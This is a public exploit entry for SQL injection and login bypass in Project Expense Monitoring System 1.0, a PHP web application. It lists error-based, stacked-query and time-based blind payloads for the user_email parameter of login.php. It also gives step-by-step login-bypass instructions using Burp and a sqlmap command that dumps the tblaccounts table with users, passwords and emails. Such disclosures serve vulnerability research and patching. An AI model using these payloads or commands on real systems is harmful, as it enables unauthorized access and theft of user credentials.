Project Expense Monitoring System 1.0 SQL Injection

`# Exploit Title: Project Expense Monitoring System | SQL Login Bypass (Multiple)  
# Exploit Author: Richard Jones  
# Date: 2021-03-28  
# Vendor Homepage: https://www.sourcecodester.com/php/14001/project-expense-monitoring-system-project-php-source-code-2020.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14001&title=Project+Expense+Monitoring+System+Project+in+PHP+With+Source+Code+  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
Parameter: user_email (POST)  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)  
Payload: [email protected]' AND GTID_SUBSET(CONCAT(0x716a6a6271,(SELECT (ELT(2231=2231,1))),0x71626b7a71),2231)-- zfOO&user_pass=a&btnLogin=Login  
Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])  
  
Type: stacked queries  
Title: MySQL >= 5.0.12 stacked queries (comment)  
Payload: [email protected]';SELECT SLEEP(5)#&user_pass=a&btnLogin=Login  
Vector: ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])#  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: [email protected]' AND (SELECT 2456 FROM (SELECT(SLEEP(5)))Dqoh)-- MoOh&user_pass=a&btnLogin=Login  
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])  
  
#URL: http://TARGET/pems/login.php  
  
Steps:   
1) Capture post request in burp.   
2) Change post data to   
```  
[email protected]' AND (SELECT 2456 FROM (SELECT(SLEEP(5)))Dqoh)-- MoOh&user_pass=a&btnLogin  
```  
3) Logged in.  
  
  
Addition:   
Use sqlmap on the saved post request (save as sql.txt)  
```  
sqlmap -r sql.txt --batch -D pemsdb -T tblaccounts  
```  
Will list applications users,passwords,emails,accounttype  
`